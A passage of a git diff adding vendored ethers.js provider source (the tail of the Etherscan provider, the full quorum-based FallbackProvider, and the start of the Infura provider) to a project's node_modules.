+ const response = await request.send(); + try { + response.assertOk(); + } catch (error) { + this.emit("debug", { action: "receiveError", id, error, reason: "assertOk" }); + assert(false, "response error", "SERVER_ERROR", { request, response }); + } + + if (!response.hasBody()) { + this.emit("debug", { action: "receiveError", id, error: "missing body", reason: "null body" }); + assert(false, "missing response", "SERVER_ERROR", { request, response }); + } + + const result = JSON.parse(toUtf8String(response.body)); + if (module === "proxy") { + if (result.jsonrpc != "2.0") { + this.emit("debug", { action: "receiveError", id, result, reason: "invalid JSON-RPC" }); + assert(false, "invalid JSON-RPC response (missing jsonrpc='2.0')", "SERVER_ERROR", { request, response, info: { result } }); + } + + if (result.error) { + this.emit("debug", { action: "receiveError", id, result, reason: "JSON-RPC error" }); + assert(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + + this.emit("debug", { action: "receiveRequest", id, result }); + + return result.result; + + } else { + // getLogs, getHistory have weird success responses + if (result.status == 0 && (result.message === "No records found" || result.message === "No transactions found")) { + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + + if (result.status != 1 || (typeof(result.message) === "string" && !result.message.match(/^OK/))) { + this.emit("debug", { action: "receiveError", id, result }); + assert(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + + this.emit("debug", { action: "receiveRequest", id, result }); + + return result.result; + } + } + + /** + * Returns %%transaction%% normalized for the Etherscan API. + */ + _getTransactionPostData(transaction: TransactionRequest): Record { + const result: Record = { }; + for (let key in transaction) { + if (skipKeys.indexOf(key) >= 0) { continue; } + + if ((transaction)[key] == null) { continue; } + let value = (transaction)[key]; + if (key === "type" && value === 0) { continue; } + if (key === "blockTag" && value === "latest") { continue; } + + // Quantity-types require no leading zero, unless 0 + if (({ type: true, gasLimit: true, gasPrice: true, maxFeePerGs: true, maxPriorityFeePerGas: true, nonce: true, value: true })[key]) { + value = toQuantity(value); + + } else if (key === "accessList") { + value = "[" + accessListify(value).map((set) => { + return `{address:"${ set.address }",storageKeys:["${ set.storageKeys.join('","') }"]}`; + }).join(",") + "]"; + + } else if (key === "blobVersionedHashes") { + if (value.length === 0) { continue; } + + // @TODO: update this once the API supports blobs + assert(false, "Etherscan API does not support blobVersionedHashes", "UNSUPPORTED_OPERATION", { + operation: "_getTransactionPostData", + info: { transaction } + }); + + } else { + value = hexlify(value); + } + result[key] = value; + } + return result; + } + + /** + * Throws the normalized Etherscan error. + */ + _checkError(req: PerformActionRequest, error: Error, transaction: any): never { + // Pull any message out if, possible + let message = ""; + if (isError(error, "SERVER_ERROR")) { + // Check for an error emitted by a proxy call + try { + message = (error).info.result.error.message; + } catch (e) { } + + if (!message) { + try { + message = (error).info.message; + } catch (e) { } + } + } + + if (req.method === "estimateGas") { + if (!message.match(/revert/i) && message.match(/insufficient funds/i)) { + assert(false, "insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: req.transaction + }); + } + } + + if (req.method === "call" || req.method === "estimateGas") { + if (message.match(/execution reverted/i)) { + let data = ""; + try { + data = (error).info.result.error.data; + } catch (error) { } + + const e = AbiCoder.getBuiltinCallException(req.method, req.transaction, data); + e.info = { request: req, error } + throw e; + } + } + + if (message) { + if (req.method === "broadcastTransaction") { + const transaction = Transaction.from(req.signedTransaction); + if (message.match(/replacement/i) && message.match(/underpriced/i)) { + assert(false, "replacement fee too low", "REPLACEMENT_UNDERPRICED", { + transaction + }); + } + + if (message.match(/insufficient funds/)) { + assert(false, "insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction + }); + } + + if (message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)) { + assert(false, "nonce has already been used", "NONCE_EXPIRED", { + transaction + }); + } + } + } + + // Something we could not process + throw error; + } + + async _detectNetwork(): Promise { + return this.network; + } + + async _perform(req: PerformActionRequest): Promise { + switch (req.method) { + case "chainId": + return this.network.chainId; + + case "getBlockNumber": + return this.fetch("proxy", { action: "eth_blockNumber" }); + + case "getGasPrice": + return this.fetch("proxy", { action: "eth_gasPrice" }); + + case "getPriorityFee": + // This is temporary until Etherscan completes support + if (this.network.name === "mainnet") { + return "1000000000"; + } else if (this.network.name === "optimism") { + return "1000000"; + } else { + throw new Error("fallback onto the AbstractProvider default"); + } + /* Working with Etherscan to get this added: + try { + const test = await this.fetch("proxy", { + action: "eth_maxPriorityFeePerGas" + }); + console.log(test); + return test; + } catch (e) { + console.log("DEBUG", e); + throw e; + } + */ + /* This might be safe; but due to rounding neither myself + or Etherscan are necessarily comfortable with this. :) + try { + const result = await this.fetch("gastracker", { action: "gasoracle" }); + console.log(result); + const gasPrice = parseUnits(result.SafeGasPrice, "gwei"); + const baseFee = parseUnits(result.suggestBaseFee, "gwei"); + const priorityFee = gasPrice - baseFee; + if (priorityFee < 0) { throw new Error("negative priority fee; defer to abstract provider default"); } + return priorityFee; + } catch (error) { + console.log("DEBUG", error); + throw error; + } + */ + + case "getBalance": + // Returns base-10 result + return this.fetch("account", { + action: "balance", + address: req.address, + tag: req.blockTag + }); + + case "getTransactionCount": + return this.fetch("proxy", { + action: "eth_getTransactionCount", + address: req.address, + tag: req.blockTag + }); + + case "getCode": + return this.fetch("proxy", { + action: "eth_getCode", + address: req.address, + tag: req.blockTag + }); + + case "getStorage": + return this.fetch("proxy", { + action: "eth_getStorageAt", + address: req.address, + position: req.position, + tag: req.blockTag + }); + + case "broadcastTransaction": + return this.fetch("proxy", { + action: "eth_sendRawTransaction", + hex: req.signedTransaction + }, true).catch((error) => { + return this._checkError(req, error, req.signedTransaction); + }); + + case "getBlock": + if ("blockTag" in req) { + return this.fetch("proxy", { + action: "eth_getBlockByNumber", + tag: req.blockTag, + boolean: (req.includeTransactions ? "true": "false") + }); + } + + assert(false, "getBlock by blockHash not supported by Etherscan", "UNSUPPORTED_OPERATION", { + operation: "getBlock(blockHash)" + }); + + case "getTransaction": + return this.fetch("proxy", { + action: "eth_getTransactionByHash", + txhash: req.hash + }); + + case "getTransactionReceipt": + return this.fetch("proxy", { + action: "eth_getTransactionReceipt", + txhash: req.hash + }); + + case "call": { + if (req.blockTag !== "latest") { + throw new Error("EtherscanProvider does not support blockTag for call"); + } + + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_call"; + + try { + return await this.fetch("proxy", postData, true); + } catch (error) { + return this._checkError(req, error, req.transaction); + } + } + + case "estimateGas": { + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_estimateGas"; + + try { + return await this.fetch("proxy", postData, true); + } catch (error) { + return this._checkError(req, error, req.transaction); + } + } +/* + case "getLogs": { + // Needs to complain if more than one address is passed in + const args: Record = { action: "getLogs" } + + if (params.filter.fromBlock) { + args.fromBlock = checkLogTag(params.filter.fromBlock); + } + + if (params.filter.toBlock) { + args.toBlock = checkLogTag(params.filter.toBlock); + } + + if (params.filter.address) { + args.address = params.filter.address; + } + + // @TODO: We can handle slightly more complicated logs using the logs API + if (params.filter.topics && params.filter.topics.length > 0) { + if (params.filter.topics.length > 1) { + logger.throwError("unsupported topic count", Logger.Errors.UNSUPPORTED_OPERATION, { topics: params.filter.topics }); + } + if (params.filter.topics.length === 1) { + const topic0 = params.filter.topics[0]; + if (typeof(topic0) !== "string" || topic0.length !== 66) { + logger.throwError("unsupported topic format", Logger.Errors.UNSUPPORTED_OPERATION, { topic0: topic0 }); + } + args.topic0 = topic0; + } + } + + const logs: Array = await this.fetch("logs", args); + + // Cache txHash => blockHash + let blocks: { [tag: string]: string } = {}; + + // Add any missing blockHash to the logs + for (let i = 0; i < logs.length; i++) { + const log = logs[i]; + if (log.blockHash != null) { continue; } + if (blocks[log.blockNumber] == null) { + const block = await this.getBlock(log.blockNumber); + if (block) { + blocks[log.blockNumber] = block.hash; + } + } + + log.blockHash = blocks[log.blockNumber]; + } + + return logs; + } +*/ + default: + break; + } + + return super._perform(req); + } + + async getNetwork(): Promise { + return this.network; + } + + /** + * Resolves to the current price of ether. + * + * This returns ``0`` on any network other than ``mainnet``. + */ + async getEtherPrice(): Promise { + if (this.network.name !== "mainnet") { return 0.0; } + return parseFloat((await this.fetch("stats", { action: "ethprice" })).ethusd); + } + + /** + * Resolves to a [Contract]] for %%address%%, using the + * Etherscan API to retreive the Contract ABI. + */ + async getContract(_address: string): Promise { + let address = this._getAddress(_address); + if (isPromise(address)) { address = await address; } + + try { + const resp = await this.fetch("contract", { + action: "getabi", address }); + const abi = JSON.parse(resp); + return new Contract(address, abi, this); + } catch (error) { + return null; + } + } + + isCommunityResource(): boolean { + return (this.apiKey == null); + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-fallback.ts b/node_modules/ethers/src.ts/providers/provider-fallback.ts new file mode 100644 index 000000000000..ed6349f560fd --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-fallback.ts @@ -0,0 +1,801 @@ +/** + * A **FallbackProvider** provides resilience, security and performance + * in a way that is customizable and configurable. + * + * @_section: api/providers/fallback-provider:Fallback Provider [about-fallback-provider] + */ +import { + assert, assertArgument, getBigInt, getNumber, isError +} from "../utils/index.js"; + +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js" + +import type { PerformActionRequest } from "./abstract-provider.js"; +import type { Networkish } from "./network.js" + +const BN_1 = BigInt("1"); +const BN_2 = BigInt("2"); + +function shuffle(array: Array): void { + for (let i = array.length - 1; i > 0; i--) { + const j = Math.floor(Math.random() * (i + 1)); + const tmp = array[i]; + array[i] = array[j]; + array[j] = tmp; + } +} + +function stall(duration: number): Promise { + return new Promise((resolve) => { setTimeout(resolve, duration); }); +} + +function getTime(): number { return (new Date()).getTime(); } + +function stringify(value: any): string { + return JSON.stringify(value, (key, value) => { + if (typeof(value) === "bigint") { + return { type: "bigint", value: value.toString() }; + } + return value; + }); +} + +/** + * A configuration entry for how to use a [[Provider]]. + */ +export interface FallbackProviderConfig { + + /** + * The provider. + */ + provider: AbstractProvider; + + /** + * The amount of time to wait before kicking off the next provider. + * + * Any providers that have not responded can still respond and be + * counted, but this ensures new providers start. + */ + stallTimeout?: number; + + /** + * The priority. Lower priority providers are dispatched first. + */ + priority?: number; + + /** + * The amount of weight a provider is given against the quorum. + */ + weight?: number; +}; + +const defaultConfig = { stallTimeout: 400, priority: 1, weight: 1 }; + +// We track a bunch of extra stuff that might help debug problems or +// optimize infrastructure later on. +/** + * The statistics and state maintained for a [[Provider]]. + */ +export interface FallbackProviderState extends Required { + + /** + * The most recent blockNumber this provider has reported (-2 if none). + */ + blockNumber: number; + + /** + * The number of total requests ever sent to this provider. + */ + requests: number; + + /** + * The number of responses that errored. + */ + errorResponses: number; + + /** + * The number of responses that occured after the result resolved. + */ + lateResponses: number; + + /** + * How many times syncing was required to catch up the expected block. + */ + outOfSync: number; + + /** + * The number of requests which reported unsupported operation. + */ + unsupportedEvents: number; + + /** + * A rolling average (5% current duration) for response time. + */ + rollingDuration: number; + + /** + * The ratio of quorum-agreed results to total. + */ + score: number; +} + +interface Config extends FallbackProviderState { + _updateNumber: null | Promise; + _network: null | Network; + _totalTime: number; + _lastFatalError: null | Error; + _lastFatalErrorTimestamp: number; +} + +const defaultState = { + blockNumber: -2, requests: 0, lateResponses: 0, errorResponses: 0, + outOfSync: -1, unsupportedEvents: 0, rollingDuration: 0, score: 0, + _network: null, _updateNumber: null, _totalTime: 0, + _lastFatalError: null, _lastFatalErrorTimestamp: 0 +}; + + +async function waitForSync(config: Config, blockNumber: number): Promise { + while (config.blockNumber < 0 || config.blockNumber < blockNumber) { + if (!config._updateNumber) { + config._updateNumber = (async () => { + try { + const blockNumber = await config.provider.getBlockNumber(); + if (blockNumber > config.blockNumber) { + config.blockNumber = blockNumber; + } + } catch (error: any) { + config.blockNumber = -2; + config._lastFatalError = error; + config._lastFatalErrorTimestamp = getTime(); + } + config._updateNumber = null; + })(); + } + await config._updateNumber; + config.outOfSync++; + if (config._lastFatalError) { break; } + } +} + +/** + * Additional options to configure a [[FallbackProvider]]. + */ +export type FallbackProviderOptions = { + // How many providers must agree on a value before reporting + // back the response + quorum?: number; + + // How many providers must have reported the same event + // for it to be emitted (currently unimplmented) + eventQuorum?: number; + + // How many providers to dispatch each event to simultaneously. + // Set this to 0 to use getLog polling, which implies eventQuorum + // is equal to quorum. (currently unimplemented) + eventWorkers?: number; + + cacheTimeout?: number; + + pollingInterval?: number; +}; + +type RunnerResult = { result: any } | { error: Error }; + +type RunnerState = { + config: Config; + staller: null | Promise; + didBump: boolean; + perform: null | Promise; + result: null | RunnerResult; +} + +function _normalize(value: any): string { + if (value == null) { return "null"; } + + if (Array.isArray(value)) { + return "[" + (value.map(_normalize)).join(",") + "]"; + } + + if (typeof(value) === "object" && typeof(value.toJSON) === "function") { + return _normalize(value.toJSON()); + } + + switch (typeof(value)) { + case "boolean": case "symbol": + return value.toString(); + case "bigint": case "number": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{" + keys.map((k) => `${ JSON.stringify(k) }:${ _normalize(value[k]) }`).join(",") + "}"; + } + } + + console.log("Could not serialize", value); + throw new Error("Hmm..."); +} + +function normalizeResult(method: string, value: RunnerResult): { tag: string, value: any } { + + if ("error" in value) { + const error = value.error; + + let tag: string; + if (isError(error, "CALL_EXCEPTION")) { + tag = _normalize(Object.assign({ }, error, { + shortMessage: undefined, reason: undefined, info: undefined + })); + } else { + tag = _normalize(error) + } + + return { tag, value: error }; + } + + const result = value.result; + return { tag: _normalize(result), value: result }; +} + +type TallyResult = { + tag: string; + value: any; + weight: number; +}; + +// This strategy picks the highest weight result, as long as the weight is +// equal to or greater than quorum +function checkQuorum(quorum: number, results: Array): any | Error { + const tally: Map = new Map(); + for (const { value, tag, weight } of results) { + const t = tally.get(tag) || { value, weight: 0 }; + t.weight += weight; + tally.set(tag, t); + } + + let best: null | { value: any, weight: number } = null; + for (const r of tally.values()) { + if (r.weight >= quorum && (!best || r.weight > best.weight)) { + best = r; + } + } + + if (best) { return best.value; } + + return undefined; +} + +function getMedian(quorum: number, results: Array): undefined | bigint | Error { + let resultWeight = 0; + + const errorMap: Map = new Map(); + let bestError: null | { weight: number, value: Error } = null; + + const values: Array = [ ]; + for (const { value, tag, weight } of results) { + if (value instanceof Error) { + const e = errorMap.get(tag) || { value, weight: 0 }; + e.weight += weight; + errorMap.set(tag, e); + + if (bestError == null || e.weight > bestError.weight) { bestError = e; } + } else { + values.push(BigInt(value)); + resultWeight += weight; + } + } + + if (resultWeight < quorum) { + // We have quorum for an error + if (bestError && bestError.weight >= quorum) { return bestError.value; } + + // We do not have quorum for a result + return undefined; + } + + // Get the sorted values + values.sort((a, b) => ((a < b) ? -1: (b > a) ? 1: 0)); + + const mid = Math.floor(values.length / 2); + + // Odd-length; take the middle value + if (values.length % 2) { return values[mid]; } + + // Even length; take the ceiling of the mean of the center two values + return (values[mid - 1] + values[mid] + BN_1) / BN_2; +} + +function getAnyResult(quorum: number, results: Array): undefined | any | Error { + // If any value or error meets quorum, that is our preferred result + const result = checkQuorum(quorum, results); + if (result !== undefined) { return result; } + + // Otherwise, do we have any result? + for (const r of results) { + if (r.value) { return r.value; } + } + + // Nope! + return undefined; +} + +function getFuzzyMode(quorum: number, results: Array): undefined | number { + if (quorum === 1) { return getNumber(getMedian(quorum, results), "%internal"); } + + const tally: Map = new Map(); + const add = (result: number, weight: number) => { + const t = tally.get(result) || { result, weight: 0 }; + t.weight += weight; + tally.set(result, t); + }; + + for (const { weight, value } of results) { + const r = getNumber(value); + add(r - 1, weight); + add(r, weight); + add(r + 1, weight); + } + + let bestWeight = 0; + let bestResult: undefined | number = undefined; + + for (const { weight, result } of tally.values()) { + // Use this result, if this result meets quorum and has either: + // - a better weight + // - or equal weight, but the result is larger + if (weight >= quorum && (weight > bestWeight || (bestResult != null && weight === bestWeight && result > bestResult))) { + bestWeight = weight; + bestResult = result; + } + } + + return bestResult; +} + +/** + * A **FallbackProvider** manages several [[Providers]] providing + * resilience by switching between slow or misbehaving nodes, security + * by requiring multiple backends to aggree and performance by allowing + * faster backends to respond earlier. + * + */ +export class FallbackProvider extends AbstractProvider { + + /** + * The number of backends that must agree on a value before it is + * accpeted. + */ + readonly quorum: number; + + /** + * @_ignore: + */ + readonly eventQuorum: number; + + /** + * @_ignore: + */ + readonly eventWorkers: number; + + readonly #configs: Array; + + #height: number; + #initialSyncPromise: null | Promise; + + /** + * Creates a new **FallbackProvider** with %%providers%% connected to + * %%network%%. + * + * If a [[Provider]] is included in %%providers%%, defaults are used + * for the configuration. + */ + constructor(providers: Array, network?: Networkish, options?: FallbackProviderOptions) { + super(network, options); + + this.#configs = providers.map((p) => { + if (p instanceof AbstractProvider) { + return Object.assign({ provider: p }, defaultConfig, defaultState ); + } else { + return Object.assign({ }, defaultConfig, p, defaultState ); + } + }); + + this.#height = -2; + this.#initialSyncPromise = null; + + if (options && options.quorum != null) { + this.quorum = options.quorum; + } else { + this.quorum = Math.ceil(this.#configs.reduce((accum, config) => { + accum += config.weight; + return accum; + }, 0) / 2); + } + + this.eventQuorum = 1; + this.eventWorkers = 1; + + assertArgument(this.quorum <= this.#configs.reduce((a, c) => (a + c.weight), 0), + "quorum exceed provider weight", "quorum", this.quorum); + } + + get providerConfigs(): Array { + return this.#configs.map((c) => { + const result: any = Object.assign({ }, c); + for (const key in result) { + if (key[0] === "_") { delete result[key]; } + } + return result; + }); + } + + async _detectNetwork(): Promise { + return Network.from(getBigInt(await this._perform({ method: "chainId" }))); + } + + // @TODO: Add support to select providers to be the event subscriber + //_getSubscriber(sub: Subscription): Subscriber { + // throw new Error("@TODO"); + //} + + /** + * Transforms a %%req%% into the correct method call on %%provider%%. + */ + async _translatePerform(provider: AbstractProvider, req: PerformActionRequest): Promise { + switch (req.method) { + case "broadcastTransaction": + return await provider.broadcastTransaction(req.signedTransaction); + case "call": + return await provider.call(Object.assign({ }, req.transaction, { blockTag: req.blockTag })); + case "chainId": + return (await provider.getNetwork()).chainId; + case "estimateGas": + return await provider.estimateGas(req.transaction); + case "getBalance": + return await provider.getBalance(req.address, req.blockTag); + case "getBlock": { + const block = ("blockHash" in req) ? req.blockHash: req.blockTag; + return await provider.getBlock(block, req.includeTransactions); + } + case "getBlockNumber": + return await provider.getBlockNumber(); + case "getCode": + return await provider.getCode(req.address, req.blockTag); + case "getGasPrice": + return (await provider.getFeeData()).gasPrice; + case "getPriorityFee": + return (await provider.getFeeData()).maxPriorityFeePerGas; + case "getLogs": + return await provider.getLogs(req.filter); + case "getStorage": + return await provider.getStorage(req.address, req.position, req.blockTag); + case "getTransaction": + return await provider.getTransaction(req.hash); + case "getTransactionCount": + return await provider.getTransactionCount(req.address, req.blockTag); + case "getTransactionReceipt": + return await provider.getTransactionReceipt(req.hash); + case "getTransactionResult": + return await provider.getTransactionResult(req.hash); + } + } + + // Grab the next (random) config that is not already part of + // the running set + #getNextConfig(running: Set): null | Config { + // @TODO: Maybe do a check here to favour (heavily) providers that + // do not require waitForSync and disfavour providers that + // seem down-ish or are behaving slowly + + const configs = Array.from(running).map((r) => r.config) + + // Shuffle the states, sorted by priority + const allConfigs = this.#configs.slice(); + shuffle(allConfigs); + allConfigs.sort((a, b) => (a.priority - b.priority)); + + for (const config of allConfigs) { + if (config._lastFatalError) { continue; } + if (configs.indexOf(config) === -1) { return config; } + } + + return null; + } + + // Adds a new runner (if available) to running. + #addRunner(running: Set, req: PerformActionRequest): null | RunnerState { + const config = this.#getNextConfig(running); + + // No runners available + if (config == null) { return null; } + + // Create a new runner + const runner: RunnerState = { + config, result: null, didBump: false, + perform: null, staller: null + }; + + const now = getTime(); + + // Start performing this operation + runner.perform = (async () => { + try { + config.requests++; + const result = await this._translatePerform(config.provider, req); + runner.result = { result }; + } catch (error: any) { + config.errorResponses++; + runner.result = { error }; + } + + const dt = (getTime() - now); + config._totalTime += dt; + + config.rollingDuration = 0.95 * config.rollingDuration + 0.05 * dt; + + runner.perform = null; + })(); + + // Start a staller; when this times out, it's time to force + // kicking off another runner because we are taking too long + runner.staller = (async () => { + await stall(config.stallTimeout); + runner.staller = null; + })(); + + running.add(runner); + return runner; + } + + // Initializes the blockNumber and network for each runner and + // blocks until initialized + async #initialSync(): Promise { + let initialSync = this.#initialSyncPromise; + if (!initialSync) { + const promises: Array> = [ ]; + this.#configs.forEach((config) => { + promises.push((async () => { + await waitForSync(config, 0); + if (!config._lastFatalError) { + config._network = await config.provider.getNetwork(); + } + })()); + }); + + this.#initialSyncPromise = initialSync = (async () => { + // Wait for all providers to have a block number and network + await Promise.all(promises); + + // Check all the networks match + let chainId: null | bigint = null; + for (const config of this.#configs) { + if (config._lastFatalError) { continue; } + const network = (config._network); + if (chainId == null) { + chainId = network.chainId; + } else if (network.chainId !== chainId) { + assert(false, "cannot mix providers on different networks", "UNSUPPORTED_OPERATION", { + operation: "new FallbackProvider" + }); + } + } + })(); + } + + await initialSync + } + + + async #checkQuorum(running: Set, req: PerformActionRequest): Promise { + // Get all the result objects + const results: Array = [ ]; + for (const runner of running) { + if (runner.result != null) { + const { tag, value } = normalizeResult(req.method, runner.result); + results.push({ tag, value, weight: runner.config.weight }); + } + } + + // Are there enough results to event meet quorum? + if (results.reduce((a, r) => (a + r.weight), 0) < this.quorum) { + return undefined; + } + + switch (req.method) { + case "getBlockNumber": { + // We need to get the bootstrap block height + if (this.#height === -2) { + this.#height = Math.ceil(getNumber(getMedian(this.quorum, this.#configs.filter((c) => (!c._lastFatalError)).map((c) => ({ + value: c.blockNumber, + tag: getNumber(c.blockNumber).toString(), + weight: c.weight + }))))); + } + + // Find the mode across all the providers, allowing for + // a little drift between block heights + const mode = getFuzzyMode(this.quorum, results); + if (mode === undefined) { return undefined; } + if (mode > this.#height) { this.#height = mode; } + return this.#height; + } + + case "getGasPrice": + case "getPriorityFee": + case "estimateGas": + return getMedian(this.quorum, results); + + case "getBlock": + // Pending blocks are in the mempool and already + // quite untrustworthy; just grab anything + if ("blockTag" in req && req.blockTag === "pending") { + return getAnyResult(this.quorum, results); + } + return checkQuorum(this.quorum, results); + + case "call": + case "chainId": + case "getBalance": + case "getTransactionCount": + case "getCode": + case "getStorage": + case "getTransaction": + case "getTransactionReceipt": + case "getLogs": + return checkQuorum(this.quorum, results); + + case "broadcastTransaction": + return getAnyResult(this.quorum, results); + } + + assert(false, "unsupported method", "UNSUPPORTED_OPERATION", { + operation: `_perform(${ stringify((req).method) })` + }); + } + + async #waitForQuorum(running: Set, req: PerformActionRequest): Promise { + if (running.size === 0) { throw new Error("no runners?!"); } + + // Any promises that are interesting to watch for; an expired stall + // or a successful perform + const interesting: Array> = [ ]; + + let newRunners = 0; + for (const runner of running) { + + // No responses, yet; keep an eye on it + if (runner.perform) { + interesting.push(runner.perform); + } + + // Still stalling... + if (runner.staller) { + interesting.push(runner.staller); + continue; + } + + // This runner has already triggered another runner + if (runner.didBump) { continue; } + + // Got a response (result or error) or stalled; kick off another runner + runner.didBump = true; + newRunners++; + } + + // Check if we have reached quorum on a result (or error) + const value = await this.#checkQuorum(running, req); + if (value !== undefined) { + if (value instanceof Error) { throw value; } + return value; + } + + // Add any new runners, because a staller timed out or a result + // or error response came in. + for (let i = 0; i < newRunners; i++) { + this.#addRunner(running, req); + } + + // All providers have returned, and we have no result + + assert(interesting.length > 0, "quorum not met", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: Array.from(running).map((r) => stringify(r.result)) } + }); + + // Wait for someone to either complete its perform or stall out + await Promise.race(interesting); + + // This is recursive, but at worst case the depth is 2x the + // number of providers (each has a perform and a staller) + return await this.#waitForQuorum(running, req); + } + + async _perform(req: PerformActionRequest): Promise { + // Broadcasting a transaction is rare (ish) and already incurs + // a cost on the user, so spamming is safe-ish. Just send it to + // every backend. + if (req.method === "broadcastTransaction") { + // Once any broadcast provides a positive result, use it. No + // need to wait for anyone else + const results: Array = this.#configs.map((c) => null); + const broadcasts = this.#configs.map(async ({ provider, weight }, index) => { + try { + const result = await provider._perform(req); + results[index] = Object.assign(normalizeResult(req.method, { result }), { weight }); + } catch (error: any) { + results[index] = Object.assign(normalizeResult(req.method, { error }), { weight }); + } + }); + + // As each promise finishes... + while (true) { + // Check for a valid broadcast result + const done = >results.filter((r) => (r != null)); + for (const { value } of done) { + if (!(value instanceof Error)) { return value; } + } + + // Check for a legit broadcast error (one which we cannot + // recover from; some nodes may return the following red + // herring events: + // - alredy seend (UNKNOWN_ERROR) + // - NONCE_EXPIRED + // - REPLACEMENT_UNDERPRICED + const result = checkQuorum(this.quorum, >results.filter((r) => (r != null))); + if (isError(result, "INSUFFICIENT_FUNDS")) { + throw result; + } + + // Kick off the next provider (if any) + const waiting = broadcasts.filter((b, i) => (results[i] == null)); + if (waiting.length === 0) { break; } + await Promise.race(waiting); + } + + // Use standard quorum results; any result was returned above, + // so this will find any error that met quorum if any + const result = getAnyResult(this.quorum, >results); + assert(result !== undefined, "problem multi-broadcasting", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: results.map(stringify) } + }) + if (result instanceof Error) { throw result; } + return result; + } + + await this.#initialSync(); + + // Bootstrap enough runners to meet quorum + const running: Set = new Set(); + let inflightQuorum = 0; + while (true) { + const runner = this.#addRunner(running, req); + if (runner == null) { break; } + inflightQuorum += runner.config.weight; + if (inflightQuorum >= this.quorum) { break; } + } + + const result = await this.#waitForQuorum(running, req); + + // Track requests sent to a provider that are still + // outstanding after quorum has been otherwise found + for (const runner of running) { + if (runner.perform && runner.result == null) { + runner.config.lateResponses++; + } + } + + return result; + } + + async destroy(): Promise { + for (const { provider } of this.#configs) { + provider.destroy(); + } + super.destroy(); + } +} diff --git a/node_modules/ethers/src.ts/providers/provider-infura.ts b/node_modules/ethers/src.ts/providers/provider-infura.ts new file mode 100644 index 000000000000..123c06638ff0 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-infura.ts @@ -0,0 +1,220 @@ +/** + * [[link-infura]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Linea (``linea``) + * - Linea Goerli Testnet (``linea-goerli``) + * - Linea Sepolia Testnet (``linea-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:INFURA [providers-infura] + */ +import { + defineProperties, FetchRequest, assert, assertArgument +} from "../utils/index.js"; + +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import { WebSocketProvider } from "./provider-websocket.js"; + +import type { AbstractProvider } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; + + +const defaultProjectId = "84842078b09946638c03157f83405213"; + +function getHost(name: string): string { + switch(name) { + case "mainnet": + return "mainnet.infura.io"; + case "goerli": + return "goerli.infura.io"; + case "sepolia": + return "sepolia.infura.io"; + + case "arbitrum": + return "arbitrum-mainnet.infura.io"; + case "arbitrum-goerli": + return "arbitrum-goerli.infura.io"; + case "arbitrum-sepolia": + return "arbitrum-sepolia.infura.io"; + case "base": + return "base-mainnet.infura.io"; + case "base-goerlia": // @TODO: Remove this typo in the future! + case "base-goerli": + return "base-goerli.infura.io"; + case "base-sepolia": + return "base-sepolia.infura.io"; + case "bnb": + return "bsc-mainnet.infura.io"; + case "bnbt": + return "bsc-testnet.infura.io"; + case "linea": + return "linea-mainnet.infura.io"; + case "linea-goerli": + return "linea-goerli.infura.io"; + case "linea-sepolia": + return "linea-sepolia.infura.io"; + case "matic": + return "polygon-mainnet.infura.io"; + case "matic-amoy": + return "polygon-amoy.infura.io"; + case "matic-mumbai": + return "polygon-mumbai.infura.io"; + case "optimism": + return "optimism-mainnet.infura.io"; + case "optimism-goerli": + return "optimism-goerli.infura.io"; + case "optimism-sepolia": + return "optimism-sepolia.infura.io"; + } + + assertArgument(false, "unsupported network", "network", name); +} + +/** + * The **InfuraWebSocketProvider** connects to the [[link-infura]] + * WebSocket end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +export class InfuraWebSocketProvider extends WebSocketProvider implements CommunityResourcable { + + /** + * The Project ID for the INFURA connection. + */ + readonly projectId!: string; + + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + readonly projectSecret!: null | string; + + /** + * Creates a new **InfuraWebSocketProvider**. + */ + constructor(network?: Networkish, projectId?: string) { + const provider = new InfuraProvider(network, projectId); + + const req = provider._getConnection(); + assert(!req.credentials, "INFURA WebSocket project secrets unsupported", + "UNSUPPORTED_OPERATION", { operation: "InfuraProvider.getWebSocketProvider()" }); + + const url = req.url.replace(/^http/i, "ws").replace("/v3/", "/ws/v3/"); + super(url, provider._network); + + defineProperties(this, { + projectId: provider.projectId, + projectSecret: provider.projectSecret + }); + } + + isCommunityResource(): boolean { + return (this.projectId === defaultProjectId); + } +} + +/** + * The **InfuraProvider** connects to the [[link-infura]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, 